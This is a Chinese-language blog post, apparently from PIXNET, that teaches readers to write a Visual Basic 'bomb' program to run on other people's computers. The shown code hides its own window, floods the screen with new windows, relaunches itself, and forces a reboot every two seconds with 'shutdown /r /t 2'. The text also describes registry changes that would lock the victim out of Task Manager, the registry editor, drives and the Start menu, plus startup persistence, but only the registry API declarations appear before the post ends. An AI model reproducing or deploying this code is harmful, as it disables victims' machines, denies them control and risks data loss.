一、彈要實現的功能


既然是炸彈,那當然要寫的厲害些,首先就要像很久以前那個網頁炸彈一樣,彈出無數個窗口,這個功能是給別人打馬虎眼的,讓他一心想著去阻止炸彈繼續的彈出窗口;第二個功能是專門針對windows XP而做的,當然也是在2004年第12期黑防雜誌上看到的---自動重啟計算機(如圖1),


那麼下一項就是讓每一個人都感到鬱悶的事---修改註冊表。我今天教大家寫的炸彈實現的功能大部分還是靠註冊表,主要的功能還是要禁止中招的人打開任務管理器,禁止使用註冊表,隱藏桌面所有圖標,禁止使用開始菜單裡面的運行,搜索,關機,屏蔽ctrl+alt+del裡的內容,禁止使用IE瀏覽器裡的所有屬性,屏蔽C盤,D盤等盤,這樣的結果看上去一定很可怕,如果我們屏蔽右鍵或者加那麼一點點的代碼設成開機自動運行,那後果會是什麼樣的就可想而知了吧?


二、代碼實現


下面讓我們打開VB編譯器,在窗體上面加3個timer控件,然後Interval屬性設得盡量小點,該屬性1000為1秒,我的設成了6,這樣在一秒就會談出上百個窗口了。

實現代碼如下:


Private Sub Timer1_Timer()

Dim a As New Form1 『聲明以後出現a就是代表Form1

a.Show 『Form1彈出

End Sub


Private Sub Timer2_Timer()

Shell App.EXEName 『運行這個軟件的本身

End Sub

然後隱藏窗體本身,書縣代碼如下:


Private Sub Form_Load()

Me.Hide

End Sub


那麼在XP裡自動關機是怎麼回事呢?這個就是一個命令就能搞定的(shutdown /r /t 2),就是說,重新啟動計算機的倒計時是2秒,這樣中招的人就沒有辦法停止我們的shutdown了,其實到這裡就可以算是一個有趣的惡作劇了。實現代碼如下:


Private Sub Timer3_Timer()

Shell ("cmd.exe /c shutdown /r /t 2") 『調用cmd 然後在cmd裡輸入shutdown /r /t 2就是說設倒計時時間限制為2秒

End Sub


下面說說修改註冊表吧,既然要修改註冊表,那我們怎麼能不調用API呢?當然,曾經在電腦報裡也有說不用API就能讀寫註冊表的,但是我想還是讓大家用API吧,畢竟API接觸多了是件好事。那麼就讓我來教大家條用API來簡便的修改註冊表吧,我們先來建一個模塊,在裡面加入代碼:


Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long 『這是調用API函數來關閉註冊表

Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long 『這是調用AP函數在註冊表裡創建一個鍵

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long 『這是調用api函數打開註冊表

Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long

Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long

Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long


Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long 『調用API來設置註冊表裡的鍵名

Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long

Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) 『調用API刪除註冊表裡的的鍵

Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) 『調用API刪除註冊表裡的的鍵值
創作者介紹

☆賢☆

jacky2172 發表在 痞客邦 PIXNET 留言(0) 人氣()